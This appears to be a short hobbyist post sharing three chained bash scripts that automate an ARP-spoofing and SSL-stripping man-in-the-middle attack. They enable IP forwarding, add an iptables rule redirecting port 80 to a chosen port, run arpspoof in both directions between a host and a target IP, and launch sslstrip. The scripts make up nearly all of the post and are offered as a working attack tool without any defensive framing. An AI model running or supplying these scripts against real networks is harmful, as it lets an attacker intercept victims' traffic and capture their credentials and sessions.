SslStrip Bash Script

I had some headaches making this. Figured out i was doing things in the wrong order!!!!!

Right, so, its not perfect. Its in multiple scripts for the moment whilst i try to figure out a way to get them all running from one script and not having to re-type in Port numbers and IP's!



So this is "SSLSTRIPSETUP" - This just sets up the IPTables entry and calls a modified ArpSpoof script:

#!/bin/bash

echo "1" > /proc/sys/net/ipv4/ip_forward

echo -e "What Port Would You Like To Use For SSLStrip?"

read PORT

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port "$PORT"

./ARPSPOOFSSL

This next script is the "ARPSPOOFSSL" - This is the same as my original - it just calls "SSLSTRIP" at the end:

#!/bin/bash

echo '1' > /proc/sys/net/ipv4/ip_forward

#Ask for 2 IPS

echo -e "Please Enter The HOST IP"

read HOSTIP

echo -e "Please Enter The TARGET IP"

read TARGETIP

echo "You entered: \"$HOSTIP\" \"$TARGETIP\""

echo -e "Are you using wlan0 or eth0?"

read NIC

echo "Preparing........."

echo -e "\t\t Target: $TARGETIP \n"

echo -e "\t\t Host: $HOSTIP \n\n"

echo -e "Starting ArpSpoof"

gnome-terminal -x arpspoof -i "$NIC" -t "$TARGETIP" -r "$HOSTIP" 

gnome-terminal --tab -x arpspoof -i "$NIC" -t "$HOSTIP" "$TARGETIP" 

./SSLSTRIP

 And then this is "SSLSTRIP" which does the actual "sslstrip" command.

#!/bin/bash

echo -e "Enter Port Number:"

read PORTNUM

gnome-terminal -x sslstrip -l "$PORTNUM"